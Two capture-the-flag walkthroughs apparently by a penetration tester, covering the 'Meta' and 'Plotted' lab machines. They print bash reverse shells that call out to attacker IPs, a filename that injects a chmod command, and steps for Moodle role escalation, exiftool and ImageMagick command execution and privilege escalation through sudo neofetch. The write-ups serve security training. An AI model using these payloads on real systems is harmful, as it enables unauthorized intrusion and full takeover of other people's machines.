We launch nmap tool with scripts and versions on 22 and 80 ports.
We run nmap on all ports with scripts and software versions. We see that the web service redirects to the domain artcorp.htb, we insert it in our /etc/hosts file.
We tested access at both sites, but they lead to the same destination.
We list three possible relevant users in the company:
We also see that they are promoting a new product called "MetaView" (the machine is called Meta, so it could be a clue).
We launch the wfuzz tool and enumerate a subdomain "dev01.artcorp.htb":
We access the website, find a link to the tool they are developing.
There appears to be a file upload field and it displays metadata.
If we look at the result, it is very similar to the output of the exiftool:
We perform the same process of the exploit and insert a system command ("ls -lna") in the image metadata:
We upload the image and see that the command is executed on the machine:
Since we had to put all the code in the metadata, I found it easier to encode the payload in base64.
We insert the base64 payload, add decoding and execution on the victim machine:
We listen in with a netcat and gain access to the machine:
We tried to read the user flag, but we do not have permissions.
We run pspy and see that a script called "convert_images.sh" is executed:
The script takes the inserted content of the path "/var/www/dev01.artcorp.htb/convert_images/" and executes it with mogrify accepting any file:
Searching for the "mogrify" binary, I found a lot of information about "ImageMagick", which allows you to execute commands through an XML file.
So I checked the version and did some research:
So, I used the following file to copy the SSH private key of the user "thomas" and inserted it in a m3.svg file in the path "/var/www/dev01.artcorp.htb/convert_images/" and we only had to wait for the script to run it in a few minutes.
We wait a few minutes and see that we have obtained the "id_rsa" file of the user Thomas:
We connect via SSH with the private key and read the user flag.
We also see that we can run as the root user the "neofetch" binary.
We searched gtfobins/neofetch/ and found ways to exploit this binary.
We can see that there is a configuration file for this binary in our folder.
We insert our reverse shell into our neofetch configuration file:
We put a netcat listening on port 443 and execute the two commands through the terminal. We will gain root access and read the flag.
# Reverse shell /home/thomas/.config/neofetch/config.php
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.XX.XX/443 0>&1"
# Terminal execution
export XDG_CONFIG_HOME="$HOME/.config"
sudo -u root /usr/bin/neofetch \"\"
David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.
We run nmap on all ports with scripts and software versions.
I checked all HTTP services, but they all showed the same Apache (Ubuntu) default page.
We run linpeas tool and enumerate various files and directories interesting, but are rabbits hole:
We enumerate Moodle directory:
We access the directory and see several courses available.
We create an account, we see that the application tells us that the email has to be "@plotted.thm" (we list domain) and we authenticate with the account.
We enumerate the possible Moodle 3.9 version:
But the exploits I found for RCE didn't work for me.
I also tested the XSS vulnerability published in previous versions.
Working! But neither user has ever logged in, so I ruled out the possibility of session cookie theft.
Looking for information about Moodle and RCE (Remote Code Execution) I found this proof of concept:
Moodle RCE #CVE-2020-14321 PoC
I did the same steps as in the video, although I summarize it:
We signed up for the course:
We enter the "participants" section, click on "Enrol Users", search for our user and intercept the save request with Burp.
We change the value of "roletoassign=" to "1" (1 = MANAGER):
We see that we are now "Manager".
We access the profile of the user "John Doe", we check that we can now use the SSO that Moodle incorporates, this would allow us to access the administration panel as if we were the user "John Doe".
In this part, we will modify the values of the "Manager" role to enable and install a malicious plugin and execute commands (It is very well explained in the video above, so I will be brief).
Click on install plugin:
Upload the file "rce.zip" and install it.
We complete the installation and look for the file.
We intercept with Burp, put a netcat listening on port 443 and run our payload to gain access to the machine:
We did a file recognition, listed several credentials but none of them worked for me.
We looked for files and found that the user "plot_admin" has a script "backup.py" that we can read.
We open another session (yes, I know, the machine is super slow....) and run "pspy", we check that a backup of moodle is being performed in the hidden directory of the user "plot_admin"... This makes me suspect that the Python script is being executed.
Checking the python script and that we only have access to the path "moodle_location", we would have to try abusing a command injection by means of a file name.
cd /var/www/uploadedfiles/filedir/
touch './"";$(chmod 777 *)'
We execute the above commands and wait for the scheduled task to be executed. After that, we will have write and read access to the files in the "plot_admin" directory:
We create SSH keys, but if we try to use the "id_rsa" file it asks for the user's password, so we put our public key in the "authorized_keys" file and connect via SSH.
We re-launch pspy with the user "plot_admin", we quickly see that it is running "logrotate" and an SSH connection to the root user, executing the contents of "/etc/bash_completion":
We check that the machine has "gcc", transfer the exploit and compile it.
As it was likely to have to be repeating the execution of the exploit and in each execution I had to delete and rename the backup, I generated a script to run every few minutes.
#!/bin/bash
rm .logs_backup
mv .logs_backup2/ .logs_backup
cp /home/plot_admin/.logs_backup/moodle_access.1 /home/plot_admin/.logs_backup/moodle_access; ./logrotten -p /tmp/m3file.sh /home/plot_admin/.logs_backup/moodle_access;ls /etc/bash_completion.d
bash
#!/bin/bash
bash -i >& /dev/tcp/10.2.116.223/5555 0>&1
We put a netcat listening and run the script, we see that the file "moodle_access".... has been created.
We will obtain a root session and will be able to read the file "/root/root.txt".
PD: Thanks to 0x1dz for the help with the hints.
David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.